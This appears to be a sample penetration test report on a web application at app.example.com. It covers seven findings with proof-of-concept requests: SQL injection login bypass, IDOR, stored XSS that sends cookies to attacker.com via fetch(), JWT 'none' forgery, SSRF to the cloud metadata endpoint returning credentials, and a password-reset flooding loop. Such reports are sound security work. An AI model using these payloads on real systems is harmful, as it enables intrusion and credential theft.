Penetration Test Report

Description

The login endpoint is vulnerable to blind SQL injection through the username parameter. An unauthenticated attacker can manipulate the SQL query to bypass authentication entirely and gain administrative access to the application. The injection point allows for both UNION-based and time-based blind SQL injection techniques.

Business Impact

An attacker can bypass authentication, access any user account including administrator accounts, extract the entire database contents (including user credentials, PII, and sensitive business data), and potentially achieve remote code execution on the underlying database server.

Proof of Concept

POST /api/v1/auth/login HTTP/1.1
Host: app.example.com
Content-Type: application/json

{"username": "admin' OR 1=1--", "password": "anything"}

--- Response ---
HTTP/1.1 200 OK
Set-Cookie: session=eyJhbGciOiJIUzI1NiIs...
{"status": "authenticated", "role": "admin"}

Description

The user profile API endpoint does not properly validate that the authenticated user has authorization to access the requested resource. By modifying the user ID parameter in the URL, an authenticated low-privilege user can access, modify, or delete any other user's profile data, including administrator accounts.

Business Impact

Any authenticated user can access all user profiles in the system, view sensitive PII (full names, email addresses, phone numbers, billing information), modify other users' account settings, and escalate their own privileges to administrator level.

Proof of Concept

GET /api/v1/users/1337/profile HTTP/1.1
Host: app.example.com
Authorization: Bearer <low_privilege_user_token>
Cookie: session=user_session_id_42

--- Response ---
HTTP/1.1 200 OK
{
  "id": 1337,
  "name": "Admin User",
  "email": "admin@example.com",
  "role": "super_admin",
  "phone": "+1-555-0100",
  "billing": { "card_last4": "4242", ... }
}

Description

The user biography field in the profile settings does not properly sanitize or encode user input before rendering it on the profile page. An attacker can inject arbitrary JavaScript code that executes in the browser context of any user who views the malicious profile, including administrators.

Business Impact

Session hijacking via cookie theft, keylogging on sensitive pages, phishing attacks rendered within the trusted application domain, credential harvesting, defacement, and potential worm propagation across user profiles.

Proof of Concept

PUT /api/v1/users/profile HTTP/1.1
Host: app.example.com
Content-Type: application/json
Authorization: Bearer <attacker_token>

{"bio": "Hello! <img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>"}

--- When victim views the profile ---
GET /users/attacker-profile HTTP/1.1
→ JavaScript executes, cookies sent to attacker.com

Description

The application's JWT validation logic accepts the 'none' algorithm, allowing an attacker to forge authentication tokens without knowledge of the signing secret. Additionally, the RS256/HS256 algorithm confusion attack is possible, enabling token forgery using the server's public key.

Business Impact

Complete authentication bypass. An attacker can forge valid JWT tokens for any user, including administrators, without knowing the signing secret. This grants unrestricted access to all protected API endpoints and administrative functions.

Proof of Concept

# Original JWT (RS256 signed):
eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyNDIiLCJyb2xlIjoiZ
XN0In0.signature...

# Forged JWT (algorithm set to 'none'):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIs
InJvbGUiOiJzdXBlcl9hZG1pbiJ9.

# Decoded payload:
{"sub": "admin", "role": "super_admin"}

# Server accepts the forged token → Admin access granted

Description

The webhook configuration endpoint allows users to specify an arbitrary URL for webhook delivery. The server-side request does not validate or restrict the target URL, allowing an attacker to make the server send HTTP requests to internal services, cloud metadata endpoints, and other network-internal resources.

Business Impact

Access to internal services not exposed to the internet (e.g., admin panels, databases). Cloud metadata endpoint access (AWS IMDSv1 at 169.254.169.254) enabling credential theft. Port scanning of internal networks. Potential remote code execution via internal service exploitation.

Proof of Concept

POST /api/v1/integrations/webhook HTTP/1.1
Host: app.example.com
Authorization: Bearer <user_token>
Content-Type: application/json

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

--- Response ---
HTTP/1.1 200 OK
{
  "webhook_response": {
    "AccessKeyId": "AKIA...",
    "SecretAccessKey": "wJal...",
    "Token": "AQoDY..."
  }
}

Description

The password reset endpoint does not implement any rate limiting or throttling mechanism. An attacker can send unlimited password reset requests, enabling email bombing attacks against target users and potential brute-force attacks on reset tokens.

Business Impact

Email flooding/bombing of target users. Brute-force enumeration of password reset tokens (if tokens are short or predictable). Resource exhaustion on the email sending service. User account lockout through excessive reset attempts.

Proof of Concept

# Automated script sends 500+ requests in 60 seconds:
for i in range(500):
    requests.post("https://app.example.com/api/v1/auth/forgot-password",
                  json={"email": "victim@example.com"})
    # All requests return 200 OK — no rate limiting

# Result: Victim receives 500+ password reset emails
# Reset tokens may be predictable/brute-forceable

Description

Several API endpoints return verbose error messages containing internal implementation details when exceptions occur. Stack traces, database query fragments, internal file paths, and framework version information are exposed in error responses, providing valuable reconnaissance information to attackers.

Business Impact

Disclosure of internal technology stack (framework versions, database type). Exposure of internal file system paths. Database table and column names revealed through query fragments. This information significantly aids targeted attacks by reducing the reconnaissance effort required.

Proof of Concept

GET /api/v1/users/invalid-id HTTP/1.1
Host: app.example.com

--- Response ---
HTTP/1.1 500 Internal Server Error
{
  "error": "CastError: Cast to ObjectId failed",
  "stack": "at /app/node_modules/mongoose/lib/...",
  "details": {
    "path": "/var/app/src/controllers/userController.js:47",
    "query": "SELECT * FROM users WHERE id = 'invalid-id'",
    "dbVersion": "PostgreSQL 14.2",
    "framework": "Express 4.18.2"
  }
}